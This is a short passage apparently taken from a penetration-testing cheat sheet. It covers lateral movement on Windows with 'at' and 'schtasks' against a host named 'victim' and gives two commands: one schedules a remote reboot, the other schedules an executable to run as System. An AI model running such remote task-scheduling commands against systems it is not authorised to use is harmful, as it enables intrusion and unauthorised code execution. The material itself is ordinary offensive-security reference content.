At allows to schedule tasks in hosts where you know username/\(password/Hash\). So, you can use it to execute commands in other hosts and get the output.
```text
At \\victim 11:00:00PM shutdown -r
```
Using schtasks you need first to create the task and then call it:
```text
schtasks /create /n <TASK_NAME> /tr C:\path\executable.exe /sc once /st 00:00 /S <VICTIM> /RU System